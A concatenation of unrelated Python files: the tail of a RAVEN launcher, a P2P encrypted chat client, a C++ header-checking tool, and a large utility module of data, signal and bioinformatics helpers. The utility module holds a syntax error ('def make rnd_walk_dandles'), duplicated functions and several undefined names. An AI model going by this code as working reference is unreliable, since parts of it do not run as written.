simulation.app is not None: simulation.app.exec_() ## This makes sure that the main thread waits for RAVEN to complete before ## exiting, however join will block the main thread until ravenThread is ## complete, thus ignoring any kill signals until after it has completed # ravenThread.join() waitTime = 0.1 ## in seconds ## So, in order to live wait for ravenThread, we need a spinlock that will ## allow us to accept keyboard input. while ravenThread.isAlive(): ## Use one of these two alternatives, effectively they should be the same ## not sure if there is any advantage to one over the other time.sleep(waitTime) # ravenThread.join(waitTime) except KeyboardInterrupt: if ravenThread.isAlive(): traceback.print_stack(sys._current_frames()[ravenThread.ident]) print ('\n\n! Received keyboard interrupt, exiting RAVEN.\n\n') except SystemExit: if ravenThread.isAlive(): traceback.print_stack(sys._current_frames()[ravenThread.ident]) print ('\n\n! Exit called, exiting RAVEN.\n\n') else: raven()
p2p_client.py
import socket import threading import os from messages import send_json_message, receive_json_message from security import generate_symmetric_key, encrypt_message, decrypt_message class P2P_Client: def __init__(self, peer_ip, peer_port, uid, peer_uid, peer_ik, private_key): """ Client in P2P connection :param peer_ip: IP address of the server :param peer_port: port of the server :param uid: UID of the client :param peer_uid: UID of the peer who starts the server :param peer_ik: peer public key :param private_key: client private key """ # Open client socket self.p2p_c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.p2p_c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Set expected server peer information self.peer_ip = peer_ip self.peer_port = peer_port self.peer_uid = peer_uid self.peer_ik = peer_ik # Set client private key self.private_key = private_key def _send_message(self): """ Send encrypted message to the server """ while True: msg = input('') aes_key = generate_symmetric_key(self.private_key, self.peer_ik) iv = os.urandom(16) encrypted_msg = encrypt_message(aes_key, iv, msg.encode()) send_json_message(self.p2p_c, { 'Message' : encrypted_msg.hex(), 'iv' : iv.hex() }) def start(self): """ Run the P2P client, connect to the server and send messages """ # Connect to the server self.p2p_c.connect((self.peer_ip, self.peer_port)) print(f'Established P2P connection with ({self.peer_ip},{self.peer_port})') print(f'\nPress enter to join P2P chat with {self.peer_uid}') # Start thread for message sending send_thread = threading.Thread(target=self._send_message) send_thread.daemon = True send_thread.start() # Listen for incoming messages from the server while True: msg = receive_json_message(self.p2p_c) if msg is None: print(f'Lost connection to the peer {self.peer_uid}:({self.peer_ip},{self.peer_port}), closing...') break aes_key = generate_symmetric_key(self.private_key, self.peer_ik) decrypted_msg = decrypt_message(aes_key, bytes.fromhex(msg['iv']), bytes.fromhex(msg['Message'])) print(f'{self.peer_uid} ({self.peer_ip},{self.peer_port}): {decrypted_msg.decode()}')
cpp-header-checker.py
#!/usr/bin/env python # Tool cpp-header-checker # # Copyright (C) 2022 Wang Qi (wqking) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import subprocess import sys import os import glob import argparse import traceback import threading import queue import tempfile import random import string import time import shutil import codecs import re import pathlib def getRandomString(length) : return ''.join(random.choice(string.ascii_lowercase) for i in range(length)) def writeFile(fileName, content) : with codecs.open(fileName, "w", "utf-8") as file : file.write(str(content)) def readFile(fileName) : with codecs.open(fileName, "r", "utf-8") as file : return file.read() def removeNthInclude(content, n) : success = False include = '' def callback(m) : nonlocal n, success, include n -= 1 if n == -1 : success = True include = m.group(1) return '' else : return m.group() result = re.sub(r'(^\s*\#\s*include.*$)', callback, content, flags = re.M) return result, success, include def test_removeNthInclude() : content = '''aaa #include "abc.h" bbb #include <xyz/def.h> ccc ''' print(removeNthInclude(content, 0)) print(removeNthInclude(content, 1)) print(removeNthInclude(content, 2)) class TaskProcessor : def __init__(self, app) : self._app = app self._tempPath = None def initialize(self) : self._tempPath = os.path.join(self._app.getTempPath(), self.getRandomFileName()) os.mkdir(self._tempPath) def finalize(self) : shutil.rmtree(self._tempPath) def getApp(self) : return self._app def makeTempFileName(self, fileName) : return os.path.join(self._tempPath, fileName) def makeCommand(self, sourceFile) : command = self._app.getCommand() command = command.replace('{file}', sourceFile) return command def makeMainSourceCode(self, header) : code = '' code += '#include "%s"\n' % (header) return code def getRandomFileName(self, ext = None) : fileName = '%s_%s_%s' % ( getRandomString(12), str(threading.get_ident()), str(int(time.time())) ) if ext is not None : fileName += ext return fileName def process(self, headerFile) : header = os.path.abspath(headerFile) self.doProcess(header) def doProcess(self) : pass class CompleteHeaderProcessor(TaskProcessor) : def __init__(self, app): super().__init__(app) def doProcess(self, header) : mainFileName = self.getRandomFileName('.cpp') fullMainFileName = self.makeTempFileName(mainFileName) command = self.makeCommand(fullMainFileName) writeFile(fullMainFileName, self.makeMainSourceCode(header)) result = subprocess.run(command, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, universal_newlines = True) if result.returncode == 0 : self.getApp().log('%s - OK' % (header)) else : self.getApp().log('%s - ERROR\n%s' % (header, result.stdout)) class RedundantHeaderProcessor(TaskProcessor) : def __init__(self, app): super().__init__(app) def doProcess(self, header) : headerContent = readFile(header) includeIndexToRemove = 0 redundantIncludeList = [] while not self.getApp().shouldStop() : content, success, include = removeNthInclude(headerContent, includeIndexToRemove) if not success : break includeIndexToRemove += 1 newHeaderName = self.getRandomFileName('.h') newFullHeaderName = os.path.join(pathlib.Path(header).parent.resolve(), newHeaderName) writeFile(newFullHeaderName, content) try : mainFileName = self.getRandomFileName('.cpp') fullMainFileName = self.makeTempFileName(mainFileName) command = self.makeCommand(fullMainFileName) writeFile(fullMainFileName, self.makeMainSourceCode(newFullHeaderName)) result = subprocess.run(command, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, universal_newlines = True) if result.returncode == 0 : include = include.replace('#include', '') include = re.sub(r'[\"\'\<\>]', '', include) include = include.strip() redundantIncludeList.append(include) finally: os.unlink(newFullHeaderName) if len(redundantIncludeList) == 0 : self.getApp().log('%s - OK' % (header)) else : # Display log after all #includes are checked, this ease for looking at the errors self.getApp().log('%s - ERROR redundant: %s' % (header, ', '.join(redundantIncludeList))) class Application : def __init__(self) : self._sourcePatternList = [] self._excludePatterns = [] self._command = 'gcc {file} -c -o {file}.o' self._tempPath = None self._threads = None self._queue = queue.Queue() self._lock = threading.Lock() self._processor = None self._stopping = False def getCommand(self) : return self._command def getTempPath(self) : return self._tempPath def log(self, message) : with self._lock : print(message) def error(self) : self._stopping = True def shouldStop(self) : return self._stopping def run(self) : if not self._parseCommandLine(sys.argv[1:]) : return self._processor.initialize() try : self._doRun() except Exception as e: traceback.print_exc() finally : self._processor.finalize() def _doRun(self) : for pattern in self._sourcePatternList : fileList = glob.glob(pattern, recursive = True) for file in fileList : if self._canProcessFile(file) : self._queue.put(file) threadList = [] for i in range(self._threads) : thread = threading.Thread(target = lambda : self._executeThread()) threadList.append(thread) thread.start() for thread in threadList : thread.join() def _executeThread(self) : while not self.shouldStop() : try : task = self._queue.get(block = False) except : task = None if task is None : break self._doTask(task) self._queue.task_done() def _doTask(self, task) : self._processor.process(task) def _canProcessFile(self, file) : for exclude in self._excludePatterns : if exclude in file : return False return True def _parseCommandLine(self, commandLineArguments) : parser = argparse.ArgumentParser(add_help = False) parser.add_argument('--help', action = 'store_true', help = 'Show help message') parser.add_argument('-h', action = 'store_true', dest = 'help', help = 'Show help message') parser.add_argument('--source', action = 'append', required = True, help = "The source file patterns, can have path and wildcard") parser.add_argument( 'action', nargs='?', help = "The action, can be complete or redundant", default = 'complete', choices = [ 'complete', 'redundant' ] ) parser.add_argument('--command', required = False, help = "Command", default = self._command) parser.add_argument('--temp', required = False, help = "Temp path", default = None) parser.add_argument('--exclude', action = 'append', required = False, help = "The patterns to exclude, can not have wildcard") parser.add_argument('--threads', required = False, type = int, help = "Number of threads", default = None) if len(commandLineArguments) == 0 : self._showUsage(parser) return False try : options = parser.parse_args(commandLineArguments) options = vars(options) except : self._showUsage(parser) return False if options['help'] : self._showUsage(parser) return False self._sourcePatternList = options['source'] self._command = options['command'] self._tempPath = options['temp'] if self._tempPath is None : self._tempPath = tempfile.gettempdir() self._tempPath = os.path.join(self._tempPath, '') # append / self._excludePatterns = options['exclude'] if self._excludePatterns is None : self._excludePatterns = [] self._threads = options['threads'] if self._threads is None : self._threads = os.cpu_count() if self._threads is None or self._threads < 1 : self._threads = 1 action = options['action'] if action == 'redundant' : self._processor = RedundantHeaderProcessor(self) else : self._processor = CompleteHeaderProcessor(self) return True def _showUsage(self, parser) : parser.print_help() Application().run()
alefuncs.py
### author: alessio.marcozzi@gmail.com ### version: 2019_10 ### licence: MIT ### requires Python >= 3.6 from Bio import pairwise2, Entrez, SeqIO from Bio.SubsMat import MatrixInfo as matlist from Bio.Blast.Applications import NcbiblastnCommandline from Bio.Blast import NCBIXML import tensorflow as tf from urllib.request import urlopen from urllib.parse import urlparse from subprocess import call, check_output, run from pyensembl import EnsemblRelease from bs4 import BeautifulSoup from collections import OrderedDict, Set, Mapping, deque, Counter from operator import itemgetter from itertools import islice, chain, tee from threading import Thread from numbers import Number import numpy as np import matplotlib.pyplot as plt from scipy import signal from scipy.signal import argrelextrema import pandas as pd import regex import re import datetime, math, sys, hashlib, pickle, time, random, string, json, glob, os, signal, warnings, decimal import httplib2 as http from urllib.request import urlopen from pyliftover import LiftOver from PIL import Image ale_palette = { "purple": "#9b59b6", "blue": "#3498db", "gray": "#95a5a6", "red": "#e74c3c", "black": "#34495e", "green": "#2ecc71", } def pairwise(iterable): "s -> (s0,s1), (s1,s2), (s2, s3), ..." a, b = tee(iterable) next(b, None) return zip(a, b) def is_int(txt): ''' Determine if a string can interpreted as integer. ''' try: int(txt) return True except ValueError: return False def count_atoms(formula): ''' Count atoms in a chemical formula. >>> atomize('C6H12O7') Counter({'H': 12, 'O': 7, 'C': 6}) >>> atomize('C6H12O7MgCl2') Counter({'H': 12, 'O': 7, 'C': 6, 'Cl': 2, 'Mg': 1}) ''' r = '' c = Counter() for i, letter in enumerate(formula): if letter.isupper(): r += ' ' + letter else: r += letter r = r.strip().split() for g in r: counted = False for i,s in enumerate(g): if is_int(s): c.update({g[:i]:int(g[i:])}) counted = True break if not counted: c.update({g:1}) return c def float_range(start, stop, step): ''' range()-like function with float steps. ''' while start < stop: yield float(start) start += decimal.Decimal(step) def rnd_candle(start): """int => np.array Return a random candle. """ r = random.random candle = [start] for _ in range(3): if r() > 0.5: start += r() else: start -= r() candle.append(start) O = candle[0] C = candle[-1] H = max(candle) L = min(candle) return [O,H,L,C] def make rnd_walk_dandles(start): """int => list_of_lists Return a random walk path of [open, high, low, close] candles. """ candles = [] for n in range(100): c = rnd_candle(start) candles.append(c) start = c[-1] return candles def warn_with_traceback(message, category, filename, lineno, file=None, line=None): ''' Traceback Warnings How to use: warnings.showwarning = warn_with_traceback https://stackoverflow.com/questions/22373927/get-traceback-of-warnings ''' log = file if hasattr(file,'write') else sys.stderr traceback.print_stack(file=log) log.write(warnings.formatwarning(message, category, filename, lineno, line)) def stretch(arr, factor=False, length=False): ''' Stretch an array along the x-axis. ''' assert factor or length, '"factor" or "length" must be specified.' n = len(arr) if factor: return np.interp(np.linspace(0, n, factor*n), np.arange(n), arr) elif length: return np.interp(np.linspace(0, n, length), np.arange(n), arr) def install_ssl_certificates(): ''' Fix for [SSL: CERTIFICATE_VERIFY_FAILED] ''' # sample script to install or update a set of default Root Certificates # for the ssl module. Uses the certificates provided by the certifi package: # https://pypi.python.org/pypi/certifi import os import os.path import ssl import stat import subprocess import sys STAT_0o775 = ( stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH ) openssl_dir, openssl_cafile = os.path.split( ssl.get_default_verify_paths().openssl_cafile) print(" -- pip install --upgrade certifi") subprocess.check_call([sys.executable, "-E", "-s", "-m", "pip", "install", "--upgrade", "certifi"]) import certifi # change working directory to the default SSL directory os.chdir(openssl_dir) relpath_to_certifi_cafile = os.path.relpath(certifi.where()) print(" -- removing any existing file or link") try: os.remove(openssl_cafile) except FileNotFoundError: pass print(" -- creating symlink to certifi certificate bundle") os.symlink(relpath_to_certifi_cafile, openssl_cafile) print(" -- setting permissions") os.chmod(openssl_cafile, STAT_0o775) print(" -- update complete") def make_df_from_files(files): """ Make a single DataFrame concatenating the data from multiple csv files. """ return pd.concat((pd.read_csv(f) for f in files), ignore_index=True) def move_terminal_cursor(x, y): """ Move the terminal cursor to a specific position. """ print(f"\033[{y};{x}H") def print_at(x, y, txt): """ Print txt on a specific coordinate of the terminal screen. """ print(f"\033[{y};{x}H{txt}") def clear_terminal_output(): """ Clear the terminal and reset the cursor at the top left corner. """ rows, columns = map(int, os.popen("stty size", "r").read().split()) txt = " " * columns for r in range(rows): print_at(0, r, txt) move_terminal_cursor(0, 0) def move_terminal_cursor(x, y): ''' Move the terminal cursor to a specific position. ''' print(f"\033[{y};{x}H") def print_at(x, y, txt): ''' Print txt on a specific coordinate of the terminal screen. ''' print(f"\033[{y};{x}H{txt}") def clear_terminal_output(): ''' Clear the terminal and reset the cursor at the top left corner. ''' rows, columns = map(int,os.popen('stty size', 'r').read().split()) txt = ' '*columns for r in range(rows): print_at(0,r,txt) move_terminal_cursor(0,0) def in_ipynb(): ''' Determine if the script is running on a notebook. ''' try: cfg = get_ipython().config if cfg['IPKernelApp']['parent_appname'] == 'ipython-notebook': return True else: return False except NameError: return False def compare_dict(d1, d2): d1_keys = set(d1.keys()) d2_keys = set(d2.keys()) intersect_keys = d1_keys.intersection(d2_keys) added = d1_keys - d2_keys removed = d2_keys - d1_keys modified = {o: (d1[o], d2[o]) for o in intersect_keys if d1[o] != d2[o]} same = set(o for o in intersect_keys if d1[o] == d2[o]) return added, removed, modified, same class DotNotDict: """ Trasform a dictionary into a class so you can use the dot-notation to access the dictionary data. Example: >> d = {'alpha':0,'beta':1,'gamma':3.5} >> d = DotNotDict(d) >> d.gamma 3.5 """ def __init__(self, dictionary): for k, v in dictionary.items(): setattr(self, k, v) def __repr__(self): for k in [x for x in dir(self) if not x.startswith("__")]: print(f"{k:>50} : {getattr(self, k)}") return "" def fake_rsi(length): """Generate an array simulating an RSI trace.""" def f(x): # RSIs hardly go over 90 or below 10 if x > 90: return x - 20 if x < 10: return x + 20 return x return list(map(f, smooth(rescale(random_walk(length)) * 100, 5))) def drop(arr, p=0.1): """ General "dropout" function. Works on any shape of np.array of numbers. p is the probability of dropping (set to 0) a number in the array. """ if type(arr) is list: arr = np.array(arr) try: # take care of cases in wich the shape is (n,) size = np.multiply(*arr.shape) except ValueError: size = arr.shape[0] mask = np.random.binomial(1, 1 - p, size).reshape(arr.shape) return np.multiply(arr, mask) def md5(fname): """ Compute the md5 of a file in chunks. Avoid running out of memory when hashing large files. """ hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def viterbi(pi, a, b, obs): """ The Viterbi algorithm for shortest path. # code adapted from Stephen Marsland's, Machine Learning An Algorthmic Perspective, Vol. 2 # https://github.com/alexsosn/MarslandMLAlgo/blob/master/Ch16/HMM.py # http://www.blackarbs.com/blog/introduction-hidden-markov-models-python-networkx-sklearn/2/9/2017 """ nStates = np.shape(b)[0] T = np.shape(obs)[0] # init blank path path = np.zeros(T) # delta --> highest probability of any path that reaches state i delta = np.zeros((nStates, T)) # phi --> argmax by time step for each state phi = np.zeros((nStates, T)) # init delta and phi delta[:, 0] = pi * b[:, obs[0]] phi[:, 0] = 0 print("\nStart Walk Forward\n") # the forward algorithm extension for t in range(1, T): for s in range(nStates): delta[s, t] = np.max(delta[:, t - 1] * a[:, s]) * b[s, obs[t]] phi[s, t] = np.argmax(delta[:, t - 1] * a[:, s]) print( "s={s} and t={t}: phi[{s}, {t}] = {phi}".format(s=s, t=t, phi=phi[s, t]) ) # find optimal path print("-" * 50) print("Start Backtrace\n") path[T - 1] = np.argmax(delta[:, T - 1]) # p('init path\n t={} path[{}-1]={}\n'.format(T-1, T, path[T-1])) for t in range(T - 2, -1, -1): path[t] = phi[path[t + 1], [t + 1]] # p(' '*4 + 't={t}, path[{t}+1]={path}, [{t}+1]={i}'.format(t=t, path=path[t+1], i=[t+1])) print("path[{}] = {}".format(t, path[t])) return path, delta, phi def gauss_func(x, amp, x0, sigma): return amp * np.exp(-(x - x0) ** 2.0 / (2.0 * sigma ** 2.0)) def call_python(Version, Module, Function, ArgumentList): """ Call a PythonX function from PythonY. """ gw = execnet.makegateway("popen//python=python%s" % Version) channel = gw.remote_exec( """ from %s import %s as the_function channel.send(the_function(*channel.receive())) """ % (Module, Function) ) channel.send(ArgumentList) return channel.receive() def print_attrs(name, obj): """ Quick overview of an HDF5 file content. Example: f = h5py.File(fast5_read,'r') f.visititems(print_attrs) """ print(name) for key, val in obj.attrs.items(): print(key, val) def scaled_tanh(x): # https://stackoverflow.com/questions/13632976/neural-network-with-tanh-wrong-saturation-with-normalized-data return 1.7159 * np.tanh(2 / 3 * x) def scaled_tanh_deriv(x): # https://stackoverflow.com/questions/13632976/neural-network-with-tanh-wrong-saturation-with-normalized-data # 1.14399053 * (1 - np.tanh(2/3 *x)) * (1 + np.tanh(2/3 * x))) return 1.14393 * (1 - np.power(tanh(2 / 3 * x), 2)) def scaled_tanh_error(expected, output): # https://stackoverflow.com/questions/13632976/neural-network-with-tanh-wrong-saturation-with-normalized-data return 2 / 3 * (1.7159 - output ** 2) * (expected - output) def tanh_deriv(x): """ The derivative of hyperbolic tangent function. Useful for machine-learning regression problem, to compute the local minimum. https://towardsdatascience.com/activation-functions-neural-networks-1cbd9f8d91d6 """ return 1.0 - np.power(np.tanh(x), 2) def fancy_relu(x): """ np.array => np.array A very fast ReLu implementation. Uses numpy fancy indexing to do the trick. """ # modifies x # fastest method x[x < 0] = 0 return x def factorial(n): """ Return the factorial of n. This is just for teaching purpose, for production code use math.factorial(n) instead. """ return reduce(lambda x, y: x * y, [1] + list(range(1, n + 1))) def jitter(n, mu=0, sigma=0.1): """Return a jittered version of n""" return n + np.random.normal(mu, sigma, 1) class TimeoutError(Exception): """ Custom error for Timeout class. """ pass class Timeout: """ A timeout handler with context manager. Based on UNIX signals. """ def __init__(self, seconds=1, error_message="Timeout"): self.seconds = seconds self.error_message = error_message def handle_timeout(self, signum, frame): raise TimeoutError(self.error_message) def __enter__(self): signal.signal(signal.SIGALRM, self.handle_timeout) signal.alarm(self.seconds) def __exit__(self, type, value, traceback): signal.alarm(0) def random_walk(lenght): """int => np.array Return a random walk path. """ walk = [] y = 0 for _ in range(lenght): if random.randint(0, 1): y += 1 else: y -= 1 walk.append(y) return np.array(walk) def find_min_max(array): """np.array => dict Return a dictionary of indexes where the maxima and minima of the input array are found. """ # for local maxima maxima = argrelextrema(array, np.greater) # for local minima minima = argrelextrema(array, np.less) return {"maxima": maxima, "minima": minima} def smooth(array, window_len=10, window="hanning"): """np.array, int, str => np.array Smooth the data using a window with requested size. This method is based on the convolution of a scaled window with the signal. The signal is prepared by introducing reflected copies of the signal (with the window size) in both ends so that transient parts are minimized in the begining and end part of the output signal. input: x: the input signal window_len: the dimension of the smoothing window; should be an odd integer window: the type of window from 'flat', 'hanning', 'hamming', 'bartlett', 'blackman' flat window will produce a moving average smoothing. output: the smoothed signal example: t = linspace(-2,2,0.1) x = sin(t)+randn(len(t))*0.1 y = smooth(x) see also: numpy.hanning, numpy.hamming, numpy.bartlett, numpy.blackman, numpy.convolve scipy.signal.lfilter TODO: the window parameter could be the window itself if an array instead of a string NOTE: length(output) != length(input), to correct this: return y[(window_len/2-1):-(window_len/2)] instead of just y. """ if array.ndim != 1: raise ValueError("smooth only accepts 1 dimension arrays.") if array.size < window_len: raise ValueError("Input vector needs to be bigger than window size.") if window_len < 3: return x if not window in ["flat", "hanning", "hamming", "bartlett", "blackman"]: raise ValueError( "Window is on of 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'" ) s = np.r_[array[window_len - 1 : 0 : -1], array, array[-2 : -window_len - 1 : -1]] # print(len(s)) if window == "flat": # moving average w = np.ones(window_len, "d") else: w = eval("np." + window + "(window_len)") y = np.convolve(w / w.sum(), s, mode="valid") y = y[int(window_len / 2 - 1) : -int(window_len / 2)] offset = len(y) - len(array) # in case input and output are not of the same lenght assert len(array) == len(y[offset:]) return y[offset:] def cohen_effect_size(group1, group2): """(np.array, np.array) => float Compute the Cohen Effect Size (d) between two groups by comparing the difference between groups to the variability within groups. Return the the difference in standard deviation. """ assert type(group1) == np.ndarray assert type(group2) == np.ndarray diff = group1.mean() - group2.mean() var1 = group1.var() var2 = group2.var() n1, n2 = len(group1), len(group2) pooled_var = (n1 * var1 + n2 * var2) / (n1 + n2) d = diff / np.sqrt(pooled_var) return d def gen_ascii_symbols(input_file, chars): """ Return a dict of letters/numbers associated with the corresponding ascii-art representation. You can use http://www.network-science.de/ascii/ to generate the ascii-art for each symbol. The input file looks like: ,adPPYYba, "" `Y8 ,adPPPPP88 88, ,88 `"8bbdP"Y8 88 88 88 88,dPPYba, 88P' "8a 88 d8 88b, ,a8" 8Y"Ybbd8"' ... Each symbol is separated by at least one empty line ("\n") """ # input_file = 'ascii_symbols.txt' # chars = string.ascii_lowercase+string.ascii_uppercase+'0123456789' symbols = [] s = "" with open(input_file, "r") as f: for line in f: if line == "\n": if len(s): symbols.append(s) s = "" else: continue else: s += line return dict(zip(chars, symbols)) def gen_ascii_captcha(symbols, length=6, max_h=10, noise_level=0, noise_char="."): """ Return a string of the specified length made by random symbols. Print the ascii-art representation of it. Example: symbols = gen_ascii_symbols(input_file='ascii_symbols.txt', chars = string.ascii_lowercase+string.ascii_uppercase+'0123456789') while True: captcha = gen_ascii_captcha(symbols, noise_level=0.2) x = input('captcha: ') if x == captcha: print('\ncorrect') break print('\ninvalid captcha, please retry') """ assert noise_level <= 1 # max_h = 10 # noise_level = 0 captcha = "".join(random.sample(chars, length)) # print(code) pool = [symbols[c].split("\n") for c in captcha] for n in range(max_h, 0, -1): line = "" for item in pool: try: next_line = item[-n] except IndexError: next_line = "".join( [" " for i in range(max([len(_item) for _item in item]))] ) if noise_level: # if random.random() < noise_level: # next_line = next_line.replace(' ', noise_char) next_line = "".join( [ c if random.random() > noise_level else random.choice(noise_char) for c in next_line ] ) line += next_line print(line) return captcha def rnd_sample_df(df, n=1, slice_size=1): """ Yield dataframes generated by randomly slicing df. It is different from pandas.DataFrame.sample(). """ assert n > 0 and slice_size > 0 max_len = len(df) - slice_size for _ in range(n): i = random.randint(0, max_len) yield df.iloc[i : i + slice_size] def date_to_stamp(d="2012-12-31"): """ Return UNIX timestamp of a date. """ Y, M, D = d.split("-") stamp = time.mktime(datetime.date(int(Y), int(M), int(D)).timetuple()) return stamp def rolling_normalize_df(df, method="min-max", size=30, overlap=5): """ Return a new df with datapoints normalized based on a sliding window of rolling on the a pandas.DataFrame. It is useful to have local (window by window) normalization of the values. """ to_merge = [] for item in split_overlap_long(df, size, overlap, is_dataframe=True): to_merge.append(normalize_df(item, method)) new_df = pd.concat(to_merge) return new_df.groupby(new_df.index).mean() def normalize_df(df, method="min-max"): """ Return normalized data. max, min, mean and std are computed considering all the values of the dfand not by column. i.e. mean = df.values.mean() and not df.mean(). Ideal to normalize df having multiple columns of non-indipendent values. Methods implemented: 'raw' No normalization 'min-max' Deafault 'norm' ... 'z-norm' ... 'sigmoid' ... 'decimal' ... 'softmax' It's a transformation rather than a normalization 'tanh' ... """ if type(df) is not pd.core.frame.DataFrame: df = pd.DataFrame(df) if method == "min-max": return (df - df.values.min()) / (df.values.max() - df.values.min()) if method == "norm": return (df - df.values.mean()) / (df.values.max() - df.values.mean()) if method == "z-norm": return (df - df.values.mean()) / df.values.std() if method == "sigmoid": _max = df.values.max() return df.apply(lambda x: 1 / (1 + np.exp(-x / _max))) if method == "decimal": # j = len(str(int(df.values.max()))) i = 10 ** len(str(int(df.values.max()))) # 10**j return df.apply(lambda x: x / i) if method == "tanh": return 0.5 * (np.tanh(0.01 * (df - df.values.mean())) / df.values.std() + 1) if method == "softmax": return np.exp(df) / np.sum(np.exp(df)) if method == "raw": return df raise ValueError(f'"method" not found: {method}') def merge_dict(dictA, dictB): """(dict, dict) => dict Merge two dicts, if they contain the same keys, it sums their values. Return the merged dict. Example: dictA = {'any key':1, 'point':{'x':2, 'y':3}, 'something':'aaaa'} dictB = {'any key':1, 'point':{'x':2, 'y':3, 'z':0, 'even more nested':{'w':99}}, 'extra':8} merge_dict(dictA, dictB) {'any key': 2, 'point': {'x': 4, 'y': 6, 'z': 0, 'even more nested': {'w': 99}}, 'something': 'aaaa', 'extra': 8} """ r = {} common_k = [k for k in dictA if k in dictB] #common_k += [k for k in dictB if k in dictA] #common_k = set(common_k) for k, v in dictA.items(): # add unique k of dictA if k not in common_k: r[k] = v else: # add inner keys if they are not containing other dicts if type(v) is not dict: if k in dictB: r[k] = v + dictB[k] else: # recursively merge the inner dicts r[k] = merge_dict(dictA[k], dictB[k]) # add unique k of dictB for k, v in dictB.items(): if k not in common_k: r[k] = v return r def png_to_flat_array(img_file): img = Image.open(img_file).convert("RGBA") arr = np.array(img) # make a 1-dimensional view of arr return arr.ravel() def png_to_vector_matrix(img_file): # convert it to a matrix return np.matrix(png_to_flat_array(img_file)) def TFKMeansCluster(vectors, noofclusters, datatype="uint8"): """ K-Means Clustering using TensorFlow. 'vectors' should be a n*k 2-D NumPy array, where n is the number of vectors of dimensionality k. 'noofclusters' should be an integer. """ noofclusters = int(noofclusters) assert noofclusters < len(vectors) # Find out the dimensionality dim = len(vectors[0]) # Will help select random centroids from among the available vectors vector_indices = list(range(len(vectors))) random.shuffle(vector_indices) # GRAPH OF COMPUTATION # We initialize a new graph and set it as the default during each run # of this algorithm. This ensures that as this function is called # multiple times, the default graph doesn't keep getting crowded with # unused ops and Variables from previous function calls. graph = tf.Graph() with graph.as_default(): # SESSION OF COMPUTATION sess = tf.Session() ##CONSTRUCTING THE ELEMENTS OF COMPUTATION ##First lets ensure we have a Variable vector for each centroid, ##initialized to one of the vectors from the available data points centroids = [ tf.Variable((vectors[vector_indices[i]])) for i in range(noofclusters) ] ##These nodes will assign the centroid Variables the appropriate ##values centroid_value = tf.placeholder(datatype, [dim]) cent_assigns = [] for centroid in centroids: cent_assigns.append(tf.assign(centroid, centroid_value)) ##Variables for cluster assignments of individual vectors(initialized ##to 0 at first) assignments = [tf.Variable(0) for i in range(len(vectors))] ##These nodes will assign an assignment Variable the appropriate ##value assignment_value = tf.placeholder("int32") cluster_assigns = [] for assignment in assignments: cluster_assigns.append(tf.assign(assignment, assignment_value)) ##Now lets construct the node that will compute the mean # The placeholder for the input mean_input = tf.placeholder("float", [None, dim]) # The Node/op takes the input and computes a mean along the 0th # dimension, i.e. the list of input vectors mean_op = tf.reduce_mean(mean_input, 0) ##Node for computing Euclidean distances # Placeholders for input v1 = tf.placeholder("float", [dim]) v2 = tf.placeholder("float", [dim]) euclid_dist = tf.sqrt(tf.reduce_sum(tf.pow(tf.subtract(v1, v2), 2))) ##This node will figure out which cluster to assign a vector to, ##based on Euclidean distances of the vector from the centroids. # Placeholder for input centroid_distances = tf.placeholder("float", [noofclusters]) cluster_assignment = tf.argmin(centroid_distances, 0) ##INITIALIZING STATE VARIABLES ##This will help initialization of all Variables defined with respect ##to the graph. The Variable-initializer should be defined after ##all the Variables have been constructed, so that each of them ##will be included in the initialization. init_op = ( tf.global_variables_initializer() ) # deprecated tf.initialize_all_variables() # Initialize all variables sess.run(init_op) ##CLUSTERING ITERATIONS # Now perform the Expectation-Maximization steps of K-Means clustering # iterations. To keep things simple, we will only do a set number of # iterations, instead of using a Stopping Criterion. noofiterations = 100 for iteration_n in range(noofiterations): ##EXPECTATION STEP ##Based on the centroid locations till last iteration, compute ##the _expected_ centroid assignments. # Iterate over each vector for vector_n in range(len(vectors)): vect = vectors[vector_n] # Compute Euclidean distance between this vector and each # centroid. Remember that this list cannot be named #'centroid_distances', since that is the input to the # cluster assignment node. distances = [ sess.run(euclid_dist, feed_dict={v1: vect, v2: sess.run(centroid)}) for centroid in centroids ] # Now use the cluster assignment node, with the distances # as the input assignment = sess.run( cluster_assignment, feed_dict={centroid_distances: distances} ) # Now assign the value to the appropriate state variable sess.run( cluster_assigns[vector_n], feed_dict={assignment_value: assignment} ) ##MAXIMIZATION STEP # Based on the expected state computed from the Expectation Step, # compute the locations of the centroids so as to maximize the # overall objective of minimizing within-cluster Sum-of-Squares for cluster_n in range(noofclusters): # Collect all the vectors assigned to this cluster assigned_vects = [ vectors[i] for i in range(len(vectors)) if sess.run(assignments[i]) == cluster_n ] # Compute new centroid location new_location = sess.run( mean_op, feed_dict={mean_input: np.array(assigned_vects)} ) # Assign value to appropriate variable sess.run( cent_assigns[cluster_n], feed_dict={centroid_value: new_location} ) # Return centroids and assignments centroids = sess.run(centroids) assignments = sess.run(assignments) return centroids, assignments def xna_calc(sequence, t="dsDNA", p=0): """str => dict BETA version, works only for dsDNA and ssDNA. Return basic "biomath" calculations based on the input sequence. Arguments: t (type) :'ssDNA' or 'dsDNA' p (phosphates): 0,1,2 #in case if ssDNA having 3'P, you should pass 2 i.e., 2 phospates present in 1 dsDNA molecule """ r = {} # check inputs c = Counter(sequence.upper()) for k in c.keys(): if k in "ACGNT": pass else: raise ValueError( f'Wrong sequence passed: "sequence" contains invalid characters, only "ATCGN" are allowed.' ) if t not in ["ssDNA", "dsDNA"]: raise ValueError( f'Wrong DNA type passed: "t" can be "ssDNA" or "dsDNA". "{t}" was passed instead.' ) if not 0 <= p <= 2: raise ValueError( f'Wrong number of 5\'-phosphates passed: "p" must be an integer from 0 to 4. {p} was passed instead.' ) 